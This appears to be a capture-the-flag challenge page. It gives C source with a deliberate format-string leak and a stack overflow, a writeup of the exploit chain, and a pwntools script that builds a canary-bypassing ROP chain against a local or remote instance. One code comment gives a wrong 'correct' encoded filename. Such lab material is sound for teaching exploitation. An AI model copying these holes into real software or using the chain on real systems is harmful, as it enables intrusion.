0x00000000
← pwndbg> back

./CS 12.06 - SYSTEM 2.0_

PWN MOJO-JOJO CTF 0xf80a2f7b by r3t0x
DESCRIPTION
XIIVI ONCE SAID "IINEK DIMA AL HOLILA"
DISASM // SOURCE
// challenge.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <fcntl.h>

volatile void (*_k_dispatch_table)(long, long, long) __attribute__((used));

void _sys_maintenance(long a, long b, long c) {
    // Dynamic filename encryption to prevent direct jump bypass
    char f[] = "gm`f/uyu"; // "flag.txt" XOR 1
    // Wait, let's re-calculate:
    // f (0x66) ^ 1 = 0x67 (g)
    // l (0x6c) ^ 1 = 0x6d (m)
    // a (0x61) ^ 1 = 0x60 (`)
    // g (0x67) ^ 1 = 0x66 (f)
    // . (0x2e) ^ 1 = 0x2f (/)
    // t (0x74) ^ 1 = 0x75 (u)
    // x (0x78) ^ 1 = 0x79 (y)
    // t (0x74) ^ 1 = 0x75 (u)
    // Correct string: "gm`f/yuy"

    if (a != 0x1206 || b != 0x1161 || c != 0xcafebab) {
        printf("\x1b[31m[CRITICAL]\x1b[0m Unauthorized neural override detected. Vectors misaligned.\n");
        fflush(stdout);
        return;
    }
    
    printf("\n\x1b[32m[SYSTEM]\x1b[0m Quantum Vector Alignment Confirmed.\n");
    printf("\x1b[32m[SYSTEM]\x1b[0m Bypassing security kernels... Initiating Core Dump...\n\n");
    fflush(stdout);
    
    // Decrypt filename using arguments. If jumping, f remains wrong.
    for(int i=0; i<8; i++) f[i] ^= (unsigned char)((a ^ b ^ c ^ 0xcafe8cc ^ 1) & 0xFF);

    int fd = open(f, O_RDONLY);
    if (fd < 0) {
        write(1, "[ERROR] Flag sector not found.\n", 31);
        exit(1);
    }
    
    char flag[128];
    int n = read(fd, flag, sizeof(flag));
    if (n > 0) {
        write(1, "\x1b[33m>>> DATA EXFILTRATED:\x1b[0m ", 30);
        write(1, flag, n);
        write(1, "\n", 1);
    }
    close(fd);
    
    printf("\n\x1b[32m[SYSTEM]\x1b[0m Session terminated safely.\n");
    fflush(stdout);
    sleep(1);
    exit(0);
}

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

// Manual gadgets 
__attribute__((naked)) void _proc_ctx() {
    __asm__(
        ".global _proc_ctx_1\n"
        "_proc_ctx_1:\n"
        "pop %rbx\n"
        "pop %rbp\n"
        "pop %r12\n"
        "pop %r13\n"
        "mov (%rsp), %r14\n"
        "add $8, %rsp\n"
        "mov (%rsp), %r15\n"
        "add $8, %rsp\n"
        "ret\n"
        "nop\n"
        "nop\n"
        ".global _proc_ctx_2\n"
        "_proc_ctx_2:\n"
        "mov %r14, %rdx\n"
        "mov %r13, %rsi\n"
        "mov %r12d, %edi\n"
        "xor $0x1337, %rbx\n"
        "call *(%r15,%rbx,8)\n"
        "ret\n"
    );
}

void _log_handler() {
    // Shifting offsets: Add dummy variables to push canary and return address further down the stack
    long dummy[8] = {0xdeadbeef, 0xcafebabe, 0x13371337, 0x41414141};
    char buffer[20];
    
    printf("\n[LOG] Initializing secure logging sequence...\n");
    printf("[LOG] Identity verification required: ");
    
    // Vulnerability: Format String (Leads to Canary/PIE leak)
    // Limited buffer forces multiple leaks or clever tricks
    if (fgets(buffer, sizeof(buffer), stdin) != NULL) {
        printf("[LOG] Identity confirmed: ");
        printf(buffer); 
    }
}

void _auth_guard() {
    char secure_phrase[32];
    printf("\n[GATE] Physical authentication barrier active.\n");
    printf("[GATE] Provide phrase: ");
    
    read(0, secure_phrase, 256); 
    
    printf("[GATE] Authentication failed. Terminating session.\n");
}

int main() {
    init();
    _k_dispatch_table = _sys_maintenance;
    
    printf("--- CS 12.06 ---\n");
    printf("Security Level: MAXIMUM\n");
    
    _log_handler();
    _auth_guard();
    
    printf("[SYSTEM] System shutdown.\n");
    return 0;
}
WRITEUP // WALKTHROUGH

CS 12.6 — Writeup

Challenge Overview

Field Value
Category PWN
Difficulty Insane
Author r3t0x
Technique Format String + Canary Leak + ROP via Custom Gadgets

Reconnaissance

pwndbg> checksec ./challenge
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Full protections enabled — canary, NX, and PIE. This is a multi-stage exploit.

Vulnerability Chain

Step 1: Format String Leak (in _log_handler)

printf(buffer);  // format string vulnerability!

We leak the stack canary at offset %17$p and the PIE base at offset %19$p:

io.sendlineafter(b"required: ", b"%17$p.%19$p")
# Canary: 0x... PIE return addr: 0x...

Step 2: Buffer Overflow (in _auth_guard)

read(0, secure_phrase, 256);  // 256 bytes into 32-byte buffer

With the canary leaked, we can overflow and restore the canary to bypass the check.

Step 3: ROP via Custom Gadgets

The binary contains hand-crafted gadgets in _proc_ctx: - gadget1 (_proc_ctx_1): pop rbx; pop rbp; pop r12; pop r13; mov r14,[rsp]; mov r15,[rsp+8]; ret - gadget2 (_proc_ctx_2): mov rdx,r14; mov rsi,r13; mov edi,r12d; xor rbx,0x1337; call *[r15+rbx*8]

The trick: _k_dispatch_table is a function pointer to _sys_maintenance. We set rbx = 0x1337 so rbx ^ 0x1337 = 0, indexing [r15] = _k_dispatch_table, which calls _sys_maintenance(0x1206, 0x1161, 0xcafebab) — the magic arguments that decrypt and read flag.txt.

Result

[+] Canary recovered: 0xa1b2c3d400000000
[+] PIE Base found:   0x555555554000
>>> DATA EXFILTRATED: MOJO-JOJO{f0rm4t_str1ng_t0_r0p_ch41n}
EXECUTION // EXPLOIT
$ python3 solve.py
from pwn import *

context.binary = b = ELF('./challenge', checksec=False)

def get_io():
    if args.REMOTE:
        return remote(args.HOST or '4.233.210.175', int(args.PORT or 9006))
    return process(b.path)

# Single connection for Leak + Exploit (Canary is process-specific)
io = get_io()

# Leak Canary (17) and PIE (19)
io.sendlineafter(b"required: ", b"%17$p.%19$p")
io.recvuntil(b"confirmed: ")
leaks = io.recvline().strip().decode().split('.')
canary = int(leaks[0], 16)
pie = int(leaks[1], 16)

b.address = pie - 0x162c
success(f"Canary recovered: {hex(canary)}")
success(f"PIE Base found:   {hex(b.address)}")

# Proceed to _auth_guard overflow in the same session
payload = flat([
    b"A"*40, canary, b"B"*8, 
    b.address + 0x1498, # ret
    b.address + 0x1482, # gadget 1 (_proc_ctx_1)
    0x1337, 1, 0x1206, 0x1161, 0xcafebab, 
    b.address + 0x40b0, # k_dispatch_table
    b.address + 0x149b  # gadget 2 (_proc_ctx_2)
])

io.sendafter(b": ", payload)
print(io.recvall(timeout=5).decode('utf-8', 'replace'))
io.close()